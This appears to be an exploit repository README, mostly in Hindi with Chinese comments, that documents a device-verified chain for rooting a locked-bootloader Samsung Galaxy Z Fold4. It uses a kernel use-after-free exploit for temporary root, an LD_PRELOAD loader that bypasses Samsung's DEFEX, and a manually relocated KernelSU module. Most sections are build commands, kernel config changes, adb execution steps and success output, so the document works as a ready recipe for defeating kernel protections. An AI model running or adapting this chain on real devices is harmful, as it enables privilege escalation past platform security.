## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-E-R-BUTCH-F9360-CVE43499
# SM-F9360 (Galaxy Z Fold4 / q4q) बिना Bootloader अनलॉक किए KernelSU Root

> **CVE-2026-43499 अस्थायी root → LD_PRELOAD चैनल से DEFEX बायपास → बिना LTO वाला clang-12 kernelsu.ko → su + KernelSU Manager पूर्ण कार्यक्षमता**
> 
> स्थिति: ✅ **2026-08-12 वास्तविक डिवाइस पर सत्यापित** (फर्मवेयर `F9360ZCSAIZF1`, कर्नेल `5.10.236-android12-9-2755199-abF9360ZCSAIZF1`)
> 
> यह प्रोजेक्ट **लॉक किए गए Bootloader** वाले Samsung डिवाइस पर KernelSU root प्राप्त करने की पूरी, दोहराने योग्य प्रक्रिया का दस्तावेज है: न तो BL अनलॉक करने की आवश्यकता, न boot.img फ्लैश करने की, न Odin की।

* * *

**TL;DR (English):** यह रिपॉजिटरी लॉक किए गए बूटलोडर वाले Samsung Galaxy Z Fold4 (SM-F9360, SM8450, कर्नेल 5.10.236, फर्मवेयर F9360ZCSAIZF1) के लिए पूर्ण रूप से डिवाइस-सत्यापित jailbreak मार्ग का दस्तावेज है: एक CVE-2026-43499 (rtmutex UAF, जुलाई-2026 फर्मवेयर में ठीक किया गया) exploit श्रृंखला अस्थायी कर्नेल-डोमेन root प्रदान करती है; एक कस्टम LD_PRELOAD constructor `.so` Samsung के DEFEX execve इंटरसेप्टर को बायपास करके एक KernelSU LKM को `init_module()` करता है जो **डिवाइस के सटीक टूलचेन (AOSP clang 12.0.5 r416183b) से और LTO बंद करके** बनाया गया है — ये दो कारक मॉड्यूल को लोड होने योग्य और इस CFI/LTO-हार्डन्ड कर्नेल पर इसके init को निष्पादन योग्य बनाते हैं। परिणाम: `su` काम करता है (`uid=0, context=u:r:ksu:s0`) और KernelSU Manager v3.2.5 कर्नेल को पहचानता है। Root केवल मेमोरी में है: प्रत्येक रीबूट पर exploit को दोबारा चलाना आवश्यक है (~3 मिनट, स्क्रिप्टेड)। सभी गड्ढे और मृत-अंत (fake exports, CRC patching, ksud late-load, LTO function-sections लेआउट) नीचे प्रलेखित हैं।

* * *

## विषय-सूची

  * 1\. परिणाम और मूल सीमाएँ
  * 2\. पृष्ठभूमि: कठिन क्यों, संभव क्यों
  * 3\. हमला श्रृंखला अवलोकन (3 परतें)
  * 4\. वातावरण आवश्यकताएँ
  * 5\. Step 1 — exploit बनाना (अस्थायी root)
  * 6\. Step 2 — kernelsu.ko बनाना (बिना LTO clang-12 नुस्खा)
  * 7\. Step 3 — ksu-load.so बनाना (DEFEX बायपास लोडर)
  * 8\. Step 4 — डिवाइस पर निष्पादन और सत्यापन
  * 9\. रीबूट के बाद पुनर्स्थापना प्रक्रिया
  * 10\. प्रमुख खोजें और गड्ढों की सूची
  * 11\. फर्मवेयर/कर्नेल संगतता
  * 12\. धन्यवाद और अपस्ट्रीम प्रोजेक्ट
  * 13\. अस्वीकरण



* * *

## 1\. परिणाम और मूल सीमाएँ

**मूल सीमा: BL लॉक → root केवल मेमोरी में है।** प्रत्येक रीबूट के बाद exploit को फिर से चलाना और मॉड्यूल को पुनः लोड करना आवश्यक है (पूरी प्रक्रिया लगभग 3 मिनट, स्क्रिप्टेड)। `ksud` यूज़रस्पेस डेमॉन तैनात नहीं किया जा सकता (DEFEX execve को रोकता है, §10-4 देखें), लेकिन `su` / supercall / Manager सभी को कर्नेल sucompat सीधे संभालता है, ksud पर निर्भर नहीं है।

**चेतावनी:`rmmod kernelsu` डिवाइस को तुरंत panic कराकर रीबूट कर देगा (RKP-संरक्षित मेमोरी पर syscall-table पुनर्स्थापना पथ) — इसे कभी अनलोड न करें।**

## 2\. पृष्ठभूमि: कठिन क्यों, संभव क्यों

### कठिन क्यों (Samsung की बहुस्तरीय सुरक्षा)

  * **BL लॉक** : OEM लॉक खोला नहीं जा सकता, `fastboot oem unlock` मौजूद नहीं है; किसी भी स्थायी root (magisk/kernel patch) के लिए boot.img फ्लैश करना आवश्यक है, और locked BL किसी भी सेल्फ-साइन्ड इमेज को अस्वीकार कर देता है।
  * **KDP / RKP / DEFEX** : कर्नेल डेटा प्रोटेक्शन (rodata पर भौतिक लेखन KDP monitor का हार्ड रीबूट ट्रिगर करता है), RKP हाइपरवाइज़र syscall table की सुरक्षा करता है, DEFEX root डोमेन में नए ELF का निष्पादन रोकता है।
  * **CFI + LTO कर्नेल** : `CONFIG_CFI_CLANG=y` \+ Full LTO। `mod->init` का एकमात्र स्रोत CFI jump-table स्लॉट `__cfi_jt_init_module` है; अप्रत्यक्ष कॉल को `.cfi_jt` एंट्री से होकर गुजरना पड़ता है, अन्यथा CFI जाँच सीधे panic कराती है।
  * **TRIM_UNUSED_KSYMS** : KSU के लिए आवश्यक ~40 सिंबल `__ksymtab` एक्सपोर्ट टेबल से हटा दिए गए हैं, सामान्य `insmod` उन्हें हल नहीं कर सकता (`Unknown symbol`)।
  * **MODULE_FORCE_LOAD=n + modversions** : vermagic का वर्ण-दर-वर्ण सटीक मिलान आवश्यक है; `IGNORE_MODVERSIONS`/`IGNORE_VERMAGIC` फ्लैग सभी `try_to_force_load()` की मृत-अंत ओर ले जाते हैं।



### संभव क्यों

  1. **CVE-2026-43499** (rtmutex proxy-lock रोलबैक UAF, मुख्यधारा अपस्ट्रीम में 2026-07 में ठीक किया गया) **2026-06 और उससे पहले के फर्मवेयर** पर स्थिर रूप से कर्नेल डोमेन तक विशेषाधिकार बढ़ा सकता है — समुदाय के पास पहले से ही समान SoC (SM8450) + समान कर्नेल शाखा (5.10) का **वास्तविक डिवाइस-सत्यापित** पोर्ट मौजूद है: `sarabpal-dev/IonStack-S22U` (b0q / S22U, exp32 रूट)।
  2. **DEFEX केवल execve रोकता है, डायनामिक लोडिंग नहीं** : `LD_PRELOAD` constructor `.so` root डोमेन में मनमाना कोड निष्पादित करने का एकमात्र छूट वाला चैनल है।
  3. **KernelSU v3.2+ का jailbreak मोड** (`ksud late-load`) लॉक किए गए BL वाले डिवाइसों के लिए ही डिज़ाइन किया गया है: boot फ्लैश किए बिना सीधे रनटाइम पर `init_module`।
  4. **टूलचेन मिलान सिद्धांत** : CFI type-id एक LLVM आंतरिक hash है, मॉड्यूल को **डिवाइस कर्नेल के समान कंपाइलर** से बनाना आवश्यक है (q4q डिवाइस = AOSP clang 12.0.5 r416183b)।
  5. **LTO विभाजित लेआउट मॉड्यूल क्रैश का अंतिम मूल कारण है** : function-sections द्वारा उत्पन्न 447 छोटे ALLOC सेगमेंट Samsung कर्नेल लोडर पर निश्चित रूप से क्रैश करते हैं; **LTO बंद करके पुनः संकलन → पारंपरिक 22-सेगमेंट लेआउट → पहली बार में सफल** (विवरण §10-1 देखें)।



## 3\. हमला श्रृंखला अवलोकन (3 परतें)

root@kitploit:~
    
    
    ┌─ Layer 1: CVE-2026-43499 临时 root
    │   ionstack-q4q exploit（KASLR 泄漏 → mm reclaim → exp32 32-bit 栈 stamp
    │   → CFI r/w → pipe physrw → UMH root daemon）
    │   → /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 域 root 命令通道
    │
    ├─ Layer 2: LD_PRELOAD .so 加载通道（DEFEX 绕过）
    │   DEFEX 拦截 kernel 域 execve 任何新 ELF（Killed）；LD_PRELOAD 的 constructor
    │   执行豁免 → ksu-load.so 在 /system/bin/true 进程内：
    │   读 ko → /proc/kallsyms 手工重定位 201 个 UND 符号（SHN_ABS + st_value=绝对地址）
    │   → vermagic patch（旧版需要）→ init_module() → 成功
    │
    └─ Layer 3: KernelSU 内核模块（无 LTO clang-12 版）
        init 完整执行 15 mark 全绿 → sucompat (allow_shell=1) + supercall 可用
    

## 4\. वातावरण आवश्यकताएँ

### डिवाइस

> अलग फर्मवेयर = अलग kallsyms / लेआउट / vermagic, target.h को पुनः अनुकूलित करने और पुनः संकलन की आवश्यकता होती है। §11 देखें।

### बिल्ड मशीन

  * macOS होस्ट + **colima/docker, Ubuntu 24.04 aarch64 कंटेनर** (x86_64 clang बाइनरी arm64 कंटेनर में नहीं चलती; macOS होस्ट पर बिल्ड करना टूल-नरक है, इसलिए सब कुछ कंटेनरीकृत)
  * कंटेनर में: `clang-14/15` \+ **focal रिपॉजिटरी से`clang-12` / `lld-12`** (`/usr/bin/clang-12`, `/usr/bin/ld.lld-12`)
  * कंटेनर में gcc नहीं है → make को `CC=clang HOSTCC=clang LD=ld.lld-12` चलाना आवश्यक है
  * NDK r29 (exploit और ksu-load.so बनाने के लिए)
  * Samsung कर्नेल स्रोत: GitHub मिरर `FryUpDoe/android_kernel_samsung_q4q` (opensource.samsung.com पर Cloudflare एंटी-स्क्रेपिंग है)



## 5\. Step 1 — exploit बनाना (अस्थायी root)

exploit `sarabpal-dev/IonStack-S22U` (SM8450 5.10 वास्तविक डिवाइस GREEN बेस, exp32 रूट) पर आधारित है। q4q अनुकूलन = रिपॉजिटरी में `patches/ionstack-q4q-adapt.patch` (249 पंक्तियाँ, target.h पैरामीटर, kernelsnitch, root.c आदि को कवर करता है)।

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
    cd work/ionstack-q4q          # IonStack-S22U clone + 本 patch
    make PROJECT=q4q-F9360ZCSAIZF1   # 注意变量名是 PROJECT= 不是 TARGET=
    

q4q के महत्वपूर्ण पैरामीटर (ट्यून किए गए हैं, बदलें नहीं):

3 बाइनरी उत्पन्न होते हैं (`build/q4q-F9360ZCSAIZF1/`): preload `.so`, app `.so`, root helper PIE। **डिवाइस पर वास्तविक परीक्षण कम लोड पर चलना चाहिए** (`loadavg < 2.5`, बूट के बाद 1–2 मिनट प्रतीक्षा करें), उच्च लोड पर exploit का fork स्टॉर्म (~544 थ्रेड + 1024 futex park थ्रेड) LMKD द्वारा चुपचाप SIGKILL हो जाता है।

## 6\. Step 2 — kernelsu.ko बनाना (बिना LTO clang-12 नुस्खा)

यह इस प्रोजेक्ट का सबसे मुख्य दोहराने योग्य नुस्खा है। **पहले सिद्धांत, फिर कमांड।**

### क्यों आवश्यक: तीन अटल नियम

  1. **कंपाइलर डिवाइस के समान पीढ़ी का होना चाहिए (clang 12.0.5)** : CFI type-id एक LLVM आंतरिक hash है। clang-15/18 से बना ko डिवाइस पर `__cfi_check_fail` → सीधे panic (कोई CFI_PERMISSIVE नहीं)। Ubuntu clang-12 और AOSP clang-12 का व्यवहार भी थोड़ा भिन्न है, लेकिन CFI बंद होने पर (नीचे देखें) अंतर घातक नहीं रहता।
  2. **LTO बंद करना अनिवार्य (अंतिम मूल कारण)** : Samsung ट्री में डिफ़ॉल्ट `CONFIG_LTO_CLANG_THIN=y` → `-ffunction-sections` विभाजित लेआउट (447 छोटे ALLOC सेगमेंट, `.text=0`) → **कोई भी संस्करण (stub सहित) लोड होते ही कर्नेल panic** । आधिकारिक ko पारंपरिक लेआउट (22 सेगमेंट) में है → हमेशा लोड होता रहा। LTO बंद करके पुनः संकलन → पहली बार में सफल।
  3. **CFI बंद करना अनिवार्य** : मॉड्यूल में `__cfi_check` सिंबल नहीं है → `mod->cfi_check=NULL` → `cfi_init` का shadow पंजीकरण छूट जाता है → कॉल CFI जाँच से नहीं गुजरती। **लेकिन ध्यान दें** : `mod->init` का एकमात्र स्रोत CFI jt स्लॉट `__cfi_jt_init_module` है (`kernel/module.c cfi_init()`) — **गैर-CFI संकलन और बिना jt स्लॉट वाला ko "Live" दिखेगा लेकिन init कभी निष्पादित नहीं होगा** (फर्जी सफलता!)। clang-12 स्वाभाविक रूप से  स्लॉट उत्पन्न करता है, मैनुअल objcopy की आवश्यकता नहीं।



### Samsung ट्री में संशोधन

root@kitploit:~
    
    
    # 1) 禁 per-task sysreg stack guard（Ubuntu clang-12 不支持 -mstack-protector-guard=sysreg）
    #    arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
    #    模块 stack protector 回退全局 __stack_chk_guard（kallsyms 有导出，安全）
    
    # 2) .config 与 include/config/auto.conf 同步修改（auto.conf 是 make 实际读的）：
    #    CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
    #    CONFIG_LTO_CLANG=y → not set
    #    CONFIG_LTO=y → not set
    #    CONFIG_LTO_NONE=y
    #    CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
    #    + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
    #      （jt 槽 .data→.init 引用会被 modpost 拦成 ERROR，必须开）
    
    # 3) KSU 源码就位 drivers/kernelsu/
    #    （KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch；Kconfig/Makefile 已接入）
    

### बिल्ड

root@kitploit:~
    
    
    docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
      make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
      CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
      CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
    

> ⚠️ **`.o` साफ करना अनिवार्य है**: `.o` कैश .config बदलने पर स्वतः पुनः नहीं बनता, बचे हुए function-sections आउटपुट फर्जी सफलता/फर्जी क्रैश का कारण बनते हैं।

### आउटपुट सत्यापन सूची (सभी पास होने पर ही डिवाइस पर भेजें)

root@kitploit:~
    
    
    # .text 是统一段（~0x1133c），不是 function-sections 拆分布局
    llvm-readelf -S kernelsu.ko | grep -c '\.text\.'   # 应为 0
    # jt 槽存在（mod->init 唯一来源）
    llvm-nm kernelsu.ko | grep __cfi_jt_init_module    # D __cfi_jt_init_module
    # vermagic 精确匹配设备（用设备树编的天然匹配，无需 patch）
    modinfo kernelsu.ko | grep vermagic
    # 201 个 UND 符号、无 __cfi_check（模块不参与 CFI shadow）
    llvm-readelf -s kernelsu.ko | grep -c UND
    llvm-nm kernelsu.ko | grep __cfi_check            # 应为空
    

सफल मॉड्यूल `release/kernelsu-c12-nolto.ko` में उपलब्ध है (SHA256SUMS से सत्यापित करें)।

## 7\. Step 3 — ksu-load.so बनाना (DEFEX बायपास लोडर)

**DEFEX शब्दार्थ (वास्तविक परीक्षण से मैप किए गए निष्कर्ष, समुदाय की पुरानी धारणा को खारिज करते हुए)** :

इसलिए ksud का अपना प्रवाह Samsung पर काम नहीं करता (kernel डोमेन का exec रोका जाता है, shell डोमेन के पास अनुमतियाँ नहीं), **स्व-निर्मित लोडर** = `loader/ksu-load.c` (`KSU_LOAD_AS_SO` मैक्रो = constructor संस्करण):

  1. constructor `$KSU_KO_PATH` पढ़ता है
  2. `/proc/kallsyms` खोलता है (पहले root चैनल से `echo 0 > /proc/sys/kernel/kptr_restrict`)
  3. `.symtab` के प्रत्येक UND सिंबल के लिए: kallsyms से पूर्ण पता → `SHN_ABS + st_value=पता`
     * सीमा 600000 प्रविष्टियाँ (डिवाइस पर वास्तव में 489702 हैं; 65536 की पुरानी सीमा चुपचाप काटकर सभी MISSING बताती थी)
     * `patched=201 missing=0` का अर्थ पूर्ण रूप से हल हो गया
     * **SHN_ABS सिंबल कभी`find_symbol()`/`check_version()` में नहीं जाते → TRIM_UNUSED_KSYMS और modversions CRC दोनों दीवारें एक साथ गायब**
  4. `KSU_VERMAGIC_PATCH=1` (पुराने ko के लिए आवश्यक): .modinfo के scmversion/author/description को छोटा करके उसी स्थान पर बाइट खाली करना → डिवाइस का सटीक vermagic स्ट्रिंग लिखना (बिना LTO वाले संस्करण का vermagic स्वतः मेल खाता है, आवश्यक नहीं)
  5. `init_module(fd, params)` → लॉग /data/local/tmp/ksu-load.log में लिखा जाता है (**अनबफर्ड stderr** , क्रैश पर लॉग नहीं खोता)



root@kitploit:~
    
    
    $ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
      -shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c
    

## 8\. Step 4 — डिवाइस पर निष्पादन और सत्यापन

### 8.1 एसेट्स पुश करना

root@kitploit:~
    
    
    adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
    adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
    adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
    adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
    # panic 会清零 F2FS 页缓存 —— 每次 panic 后必须 MD5 重新核对/重推
    

### 8.2 अस्थायी root

root@kitploit:~
    
    
    # 重启后必须等 loadavg < 2.5（watch /proc/loadavg）再跑，高负载必失败
    adb -s RFCW31TJJ0T shell "
      pkill -9 -f 'cve-2026-43499';   # 清残留（⚠️ 勿在 root daemon 活着时用，会误杀通道）
      cd /data/local/tmp
      KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
      LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
    "
    adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
    # → uid=0(root) gid=0(root) context=u:r:kernel:s0
    

### 8.3 KSU मॉड्यूल लोड करना

root@kitploit:~
    
    
    adb -s RFCW31TJJ0T shell "
      timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
      timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
        KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
        /system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
    "
    cat /data/local/tmp/ksu-load.log
    # 成功标志: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
    adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
    # → kernelsu 147456 0 - Live (O)
    

### 8.4 सत्यापन सूची (सभी हरे)

root@kitploit:~
    
    
    # 1. KSU init 15 mark（/data/local/tmp/ksu-init.log）:
    #    entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
    #    → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
    #    → escape-ok → allowlist-ok → hookmanager-ok → late-done
    # 2. su:
    adb -s RFCW31TJJ0T shell "su -c id"
    # → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
    # 3. KSU Manager v3.2.5 主页显示:
    #    「内核版本 5.10.236-android12-9-2755199-abF9360ZCSAIZF1」= supercall 通过
    #    SELinux 强制执行 + Seccomp 过滤模式下正常工作
    

## 9\. रीबूट के बाद पुनर्स्थापना प्रक्रिया

root@kitploit:~
    
    
    # 1. 重启 → 等 loadavg < 2.5
    # 2. 跑 §8.2 exploit（一次成功率高）→ 验证 root
    # 3. 跑 §8.3 加载 → 验证 /proc/modules
    # 4. su 可用 + Manager 识别
    # 全流程 ~3 分钟。scripts/restore-root.sh 为半自动模板。
    

## 10\. प्रमुख खोजें और गड्ढों की सूची

### 10.1 LTO विभाजित लेआउट = मॉड्यूल क्रैश का अंतिम मूल कारण (इस प्रोजेक्ट की सबसे बड़ी खोज)

  * लक्षण: clang-12 से बना kernelsu लोड होते ही क्रैश, **यहाँ तक कि init को स्टब (ret) करने वाला संस्करण भी क्रैश** , जबकि आधिकारिक clang-12 ko का स्टब संस्करण लोड हो जाता है → यह मॉड्यूल-स्तरीय अंतर है, init कोड की समस्या नहीं।
  * द्वि-विभाजन श्रृंखला: RELA फ्लैग समान हैं → विशेष सेगमेंट (`__jump_table`/`.altinstructions`/`.note.gnu.property`) आधिकारिक में भी हैं → **एकमात्र अंतर = function-sections विभाजित लेआउट** (हमारा ko 447 ALLOC सेगमेंट बनाम आधिकारिक 22 सेगमेंट)।
  * समाधान: `CONFIG_LTO_CLANG_THIN` पूरी तरह बंद + `.o` साफ करके पुनः संकलन → पारंपरिक लेआउट → **पहली बार लोड सफल, init के 15 मार्कर सभी हरे** ।
  * सबक: `.o` कैश .config बदलने पर पुनः नहीं बनता; कॉन्फ़िग बदलते समय `find drivers/kernelsu -name '*.o' -delete` चलाना अनिवार्य है।



### 10.2 `mod->init` का एकमात्र स्रोत = CFI jt स्लॉट

`kernel/module.c cfi_init()`: `mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module")`। गैर-CFI बिल्ड और बिना jt स्लॉट वाला ko → `mod->init=NULL` → `do_init_module` छोड़ दिया जाता है → **मॉड्यूल "Live" दिखता है लेकिन init कभी निष्पादित नहीं होता** (ksu_cred नहीं बनता, hook पंजीकृत नहीं होते — यह पहले के सभी "Live खोल" लक्षणों का मूल है)। clang-12 स्वाभाविक रूप से jt स्लॉट उत्पन्न करता है; clang-14 का `-fsanitize=cfi` उत्पन्न करता है लेकिन LTO लिंक के बाद उसे हटा देता है (मृत-अंत)।

### 10.3 कंपाइलर मिलान (CFI type-id)

डिवाइस `/proc/version` = `Android (7284624, based on r416183b) clang version 12.0.5`। clang-15/18 से बना ko डिवाइस पर `__cfi_check_fail` → panic और कोई CFI_PERMISSIVE नहीं। **`/proc/version` देखें, समान पीढ़ी का कंपाइलर उपयोग करें**। AOSP clang r416183b डाउनलोड (446MB): `https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz` (शाखा `android12-release` होनी चाहिए; x86_64 संस्करण arm64 कंटेनर में नहीं चलता)। Ubuntu clang-12 के लिए Samsung Makefile में sysreg guard बंद करना आवश्यक है (§6 देखें)।

### 10.4 DEFEX का सटीक शब्दार्थ

§7 की तालिका देखें। मूल बात: **LD_PRELOAD constructor एकमात्र छूट चैनल है** ; `setexeccon` से डोमेन घटाना अप्रभावी है; ksud late-load मार्ग समाप्त, स्व-निर्मित लोडर। `libksud.so` (Manager में एम्बेडेड लाइब्रेरी-संस्करण ksud) app डोमेन से शुरू किया जा सकता है लेकिन seccomp syscall 142 को रोकता है, दोहन नहीं किया गया।

### 10.5 vermagic का सटीक मिलान अनिवार्य

`CONFIG_MODULE_FORCE_LOAD=n` → `IGNORE_VERMAGIC`/`IGNORE_MODVERSIONS` फ्लैग सभी `try_to_force_load()` की ओर जाते हैं → ENOEXEC मृत-अंत। डिवाइस के vermagic में LOCALVERSION प्रत्यय है (`-2755199-abF9360ZCSAIZF1`), डिवाइस ट्री (सही SUBLEVEL/EXTRAVERSION/LOCALVERSION) से बने ko का vermagic स्वाभाविक रूप से सटीक मेल खाता है। zero-`__versions` मॉड्यूल (KSU आधिकारिक शैली) `same_magic` में **पूर्ण स्ट्रिंग तुलना** करता है, वर्ण-दर-वर्ण समान होना अनिवार्य है।

### 10.6 अन्य गड्ढे

  1. **exploit लोड गेटिंग** : बूट के बाद loadavg ≥ 2.5 होने पर निश्चित विफलता (LMKD SIGKILL, लॉग `find_collisions` में समान बाइट संख्या पर रुक जाता है)। लोड कम होने की प्रतीक्षा करके चलाएँ।
  2. **panic के बाद फ़ाइलें शून्य** : F2FS पेज कैश क्षतिग्रस्त, `/data/local/tmp` फ़ाइलें शून्य हो सकती हैं — panic के बाद सभी बाइनरी की MD5 जाँच करें।
  3. **`pkill -9 -f cve-2026-43499` root daemon को भी मार सकता है**: root चैनल भी खत्म, रीबूट करके फिर से शुरू करना पड़ेगा।
  4. **tracefs slide लीक बूट-दर-बूट अस्थिर** : सफल बूट का slide स्थिर; विफल बूट (CFI mismatch) पर सीधे रीबूट करके पुनः प्रयास करें, कोड का पीछा न करें।
  5. **stdout ब्लॉक बफरिंग से लॉग खोना** : फ़ाइल में रीडायरेक्ट करने पर printf ब्लॉक-बफर्ड होता है, panic होने पर अंतिम लॉग खो जाता है। `set_unbuffer()` (kernelsu टूलचेन में अंतर्निहित) को `run_exploit` में कॉल किया जाता है, पहले कभी कॉल नहीं हुआ था।
  6. **kptr_restrict=2 कर्नेल डोमेन root से भी पते छिपाता है** : पहले `echo 0 > /proc/sys/kernel/kptr_restrict`, लोडर को addr==0 वाली पंक्तियाँ छोड़नी होंगी।
  7. **kallsyms में 489k प्रविष्टियाँ** : लोडर ऐरे की सीमा ≥600k होनी चाहिए, 65536 चुपचाप काटकर सभी MISSING बताएगा।
  8. **KDP/RKP/DEFEX patch लगाना अनिवार्य** : मूल KSU का सामान्य `put_cred` Samsung पर KDP cred लिखता है → सिंक्रोनस एक्सटर्नल एबॉर्ट panic।
  9. **`rmmod kernelsu` निश्चित panic** (§1)।



## 11\. फर्मवेयर/कर्नेल संगतता

  * **CVE-2026-43499 फिक्स विंडो** : Samsung 2026-07 फर्मवेयर में ठीक किया गया है। लक्षित फर्मवेयर ≤ 2026-06 बिल्ड का होना चाहिए।
  * इस रिपॉजिटरी के सभी आउटपुट (ko/vermagic/पैरामीटर) `F9360ZCSAIZF1` से बंधे हैं। अन्य फर्मवेयर के लिए आवश्यक: 
    1. संबंधित फर्मवेयर के boot.img से kallsyms और लेआउट पुनः निकालें (`vmlinux-to-elf` \+ `llvm-nm`);
    2. target.h के 25 सिंबल ऑफसेट + P0 फिंगरप्रिंट टेबल अपडेट करें (`tools/generate_p0_fingerprint.pl`);
    3. उस फर्मवेयर के संबंधित कर्नेल ट्री से ko पुनः संकलित करें (vermagic स्वतः मेल खाएगा);
    4. समान SoC (SM8450) के b0q/S22U सामुदायिक पोर्ट से सिद्ध है कि `0xa8000000` एक दीर्घजीवी परंपरा है, संभवतः बदलने की आवश्यकता नहीं।
  * समान कर्नेल शाखा वाले अन्य Samsung डिवाइस (जैसे S22 श्रृंखला 5.10) पोर्टिंग के लिए संदर्भ आधार हो सकते हैं, लेकिन **प्रत्येक डिवाइस के task_struct ऑफसेट, mm_struct objsize, ksm पैरामीटर स्वतंत्र रूप से सत्यापित किए जाने चाहिए** (डिवाइसों के बीच ऑफसेट कॉपी करना = निश्चित क्रैश)।



## 12\. धन्यवाद और अपस्ट्रीम प्रोजेक्ट

  * CVE-2026-43499 इकोसिस्टम: `BuSung-dev/Root-My-Galaxy` / `Root-My-Galaxy-Payloads` (मूल शोषण और payload फ्रेमवर्क)
  * `sarabpal-dev/IonStack-S22U` — SM8450 5.10 **वास्तविक डिवाइस GREEN** पोर्ट आधार (exp32 रूट), इस प्रोजेक्ट का exploit सीधे इसी पर आधारित है
  * `tiann/KernelSU` v3.2.5 — jailbreak मोड (`ksud late-load`) + मॉड्यूल स्वयं
  * BuSung का `KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch` — Samsung KDP/RKP/DEFEX अनुकूलन
  * `xunchahaha/mi_nobl_root` — SHN_ABS patch विचार का Python संदर्भ कार्यान्वयन
  * `FryUpDoe/android_kernel_samsung_q4q` — कर्नेल स्रोत मिरर
  * Coolapk समुदाय का "मास्टर-अनुकूलित" RMG APK (42 फर्मवेयर payloads) — रिवर्स इंजीनियरिंग सामग्री और खुफिया स्रोत



## 13\. अस्वीकरण

यह प्रोजेक्ट **केवल सुरक्षा अनुसंधान और व्यक्तिगत डिवाइस परीक्षण के लिए** है। लॉक किए गए BL डिवाइस पर ज्ञात कमजोरी (CVE-2026-43499) का उपयोग करके प्लेटफ़ॉर्म सुरक्षा तंत्र को बायपास करना डिवाइस वारंटी शर्तों और सेवा शर्तों का उल्लंघन कर सकता है। **सभी जोखिम आपके उत्तरदायित्व पर** : कर्नेल panic, डेटा हानि, डिवाइस ब्रिक होना (कम संभावना लेकिन संभव) — सभी उपयोगकर्ता द्वारा वहन किए जाते हैं। किसी भी अनधिकृत डिवाइस पर उपयोग न करें। CVE को अपस्ट्रीम में 2026-07 में ठीक कर दिया गया है, कृपया फर्मवेयर समय पर अपडेट करें।

* * *

**LICENSE** : रिपॉजिटरी के स्वयं के कोड (loader/ksu-load.c, scripts/, यह दस्तावेज़) MIT हैं; `release/kernelsu-c12-nolto.ko` GPL-2.0 KernelSU और Samsung कर्नेल स्रोत (GPL-2.0) से व्युत्पन्न है; `patches/ionstack-q4q-adapt.patch` अपस्ट्रीम प्रोजेक्ट के लाइसेंस के अंतर्गत है।
Exploit Code

Share

Share on social media:
